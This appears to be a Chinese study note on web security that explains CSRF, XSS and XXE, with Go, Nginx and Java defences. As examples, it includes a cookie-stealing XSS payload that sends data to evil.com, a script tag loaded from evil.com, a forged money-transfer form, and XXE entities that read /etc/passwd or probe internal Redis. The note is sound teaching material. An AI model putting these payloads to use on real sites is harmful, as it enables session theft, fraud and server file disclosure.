Files
cs-note/hhs/NETWORK/08-网络安全/03-CSRFxss与XXE防御.md
T
2026-05-24 11:42:38 +08:00

209 lines
7.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
---
tags: [计算机网络, CSRF, XSS, XXE, CORS, Web安全]
create time: 2026-05-18 05:05
---
# Web 应用攻击面:CSRF / XSS / XXE
## 概述
L7(应用层)攻击是黑客最常利用的层面。CSRF、XSS、XXE 三个名字相似但原理迥异,理解它们的区别和对应的防御手段是每个后端开发者的必修课。
## CSRF vs XSS vs XXE —— 三巨头对比
```mermaid
flowchart LR
subgraph "CSRF: 借用户的身份做操作"
direction TB
C1["用户已登录银行网站"] --> C2["访问恶意页面<br/>包含 <img src='bank.com/transfer'>"]
C2 --> C3["浏览器自动带上 cookie → 转账成功"]
end
subgraph "XSS: 在用户浏览器执行脚本"
direction TB
X1["网站注入恶意 JS"] --> X2["其他用户打开含攻击页面的链接"]
X2 --> X3["脚本在受害者上下文中执行 → 窃取 cookie"]
end
style C1 fill:#DDA0DD,color:#000
style X1 fill:#FFD700,color:#000
```
### 详细对比表
| 特性 | CSRF | XSS (Reflected) | XSS (Stored) | XXE |
|------|------|-----------------|--------------|-----|
| **全名** | Cross-Site Request Forgery | Cross-Site Scripting | Stored/Persistent XSS | XML External Entity |
| **攻击目标** | 服务器操作 | 客户端浏览器 | 客户端浏览器 | 服务器文件系统/内网 |
| **核心漏洞** | 服务端没验证请求来源 | 输入未过滤直接输出到页面 | 持久化存储了恶意内容 | XML 解析器处理了外部实体 |
| **用户需操作** | 只需打开恶意页面 | 只需点击带payload链接 | 完全被动 | 无需用户参与 |
| **防御方式** | SameSite Cookie, CSRF Token, Referer 检查 | CSP, 输入编码, HTTPOnly Cookie | 同上 + 富文本 sanitizer | 禁用 DTD/外部实体 |
| **危害等级** | 高(能代用户操作) | 中高(能盗取会话) | 最高(持久传播) | 极高(RCE/文件读取) |
| **OWASP排名** | #9 | #3 | #3 | N/A |
### CSRF 详解
```
攻击流程:
─────────────────────────────────────
1. 用户在 bank.com 已登录(cookie 有效中)
2. 用户访问 evil.com
3. evil.com 包含:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="hacker_account"/>
<input name="amount" value="10000"/>
<input type="submit" value="领取奖励!"/>
</form>
4. 用户点击提交 → 浏览器自动携带 bank.com 的 cookie
5. bank.com 以为是合法操作 → 转账成功 💸
```
```go
// ❌ 没有 CSRF 保护的 Go handler
func TransferHandler(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPost {
to := r.FormValue("to")
amount := r.FormValue("amount")
// ⚠️ 没有验证请求来源!任何网站都能伪造 POST 请求
transferMoney(to, amount)
}
}
// ✅ 方案一:CSRF Token
type CSRFStore struct {
tokens sync.Map // token → userID + expiry
}
func GenerateCSRFToken(userID string) (string, error) {
tokenBytes := make([]byte, 32)
rand.Read(tokenBytes)
token := base64.URLEncoding.EncodeToString(tokenBytes)
store.tokens.Store(token, userID)
go func() {
time.Sleep(24 * time.Hour)
store.tokens.Delete(token) // token 过期清理
}()
return token, nil
}
// ✅ 方案二:SameSite Cookie(现代浏览器原生支持)
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sessionID,
Path: "/",
HttpOnly: true, // JS 无法读取
SameSite: http.SameSiteStrictMode, // ← 关键!禁止跨站携带
})
```
```nginx
# Nginx 层面的 CSRF 防御
location /api {
# 校验 Referer(可被浏览器插件或旧浏览器绕过,仅作第二道防线)
if ($http_referer !~* ^https://(www\.)?yourdomain\.com) {
return 403;
}
proxy_pass http://backend;
}
```
### XSS 详解
```
反射型 XSS 流程:
───────────────────────
1. 攻击者构造恶意 URL:
https://site.com/search?q=<script>document.location='http://evil.com/?c='+document.cookie</script>
2. 受害者点击该 URL
3. 服务器把 q 参数原样放回 HTML 响应中
4. 浏览器执行脚本 → cookie 被盗 🚨
存储型 XSS 流程:
───────────────────────
1. 攻击者在评论区发帖: <script src=http://evil.com/xss.js></script>
2. 帖子被存入数据库
3. 所有浏览此页面的用户都会执行恶意脚本
4. 比反射型 XSS 危害大 10 倍(一次注入,无限受害)
```
```go
// ✅ Go 的 html/template 自动转义,是最强的 XSS 防御
import "html/template"
tmpl, _ := template.New("search").Parse(`
<h1>Search results for: {{.Query}}</h1>
<!-- .Query 会被自动 HTML-escape → <script → &lt;script&gt; -->
`)
// tmpl.Execute(w, data) → 输出中的特殊字符已被转义
```
```bash
# CSP (Content Security Policy) 头 — XSS 的第二道防线
# 即使 XSS payload 被执行了,CSP 也能阻止它加载外部资源
HTTP/1.1
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; style-src 'self' 'unsafe-inline'
# default-src 'self' → 只允许同源资源
# script-src 'self' ... → 禁止内联 script 和外部未知域
```
### XXE 详解
```xml
<!-- 正常 XML -->
<?xml version="1.0"?>
<user>
<name>Alice</name>
<email>alice@example.com</email>
</user>
<!-- XXE 攻击 payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name> <!-- 服务器返回 /etc/passwd 的内容 -->
</user>
<!-- 更危险的版本:SSRF 式内网扫描 -->
<!ENTITY attack SYSTEM "gopher://10.0.0.1:6379/_INFO">
<!-- Redis INFO 命令返回值被写入响应 -->
```
```go
// ✅ Go 的 encoding/xml 默认禁用外部实体,相对安全
// 但仍需注意 SAX parser 等第三方库的安全配置
// Java 中需要明确关闭 XXE
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setExpandEntityReferences(false);
```
## CORS vs CSRF —— 经常被混淆的两个概念
```
CORS (Cross-Origin Resource Sharing):
──────────────────────────────────────
• 浏览器的安全策略,防止网页加载跨域资源
• 由浏览器自动执行,服务器通过响应头配合
• Access-Control-Allow-Origin: https://trusted.com
CSRF (Cross-Site Request Forgery):
────────────────────────────────────
• 攻击者利用已登录用户的凭证伪造请求
• 与 CORS 无关!CORS 不防 CSRF
• 防御用 SameSite Cookie + CSRF Token
```
> [!important] 核心结论
> CORS 不是 CSRF 的替代品。即使一个站点禁用了 CORS(`Access-Control-Allow-Origin: *`),依然会受到 CSRF 攻击。两者保护的是不同层面的安全问题。
## 关联笔记
- [[hhs/NETWORK/DDoS与MITM防御]] — L3/L4 攻击面的补充
- [[hhs/NETWORK/JWT认证与授权安全]] — JWT 也是攻击重灾区
- [[hhs/NETWORK/TLS安全实践]] — HSTS 是防范协议降级攻击的基础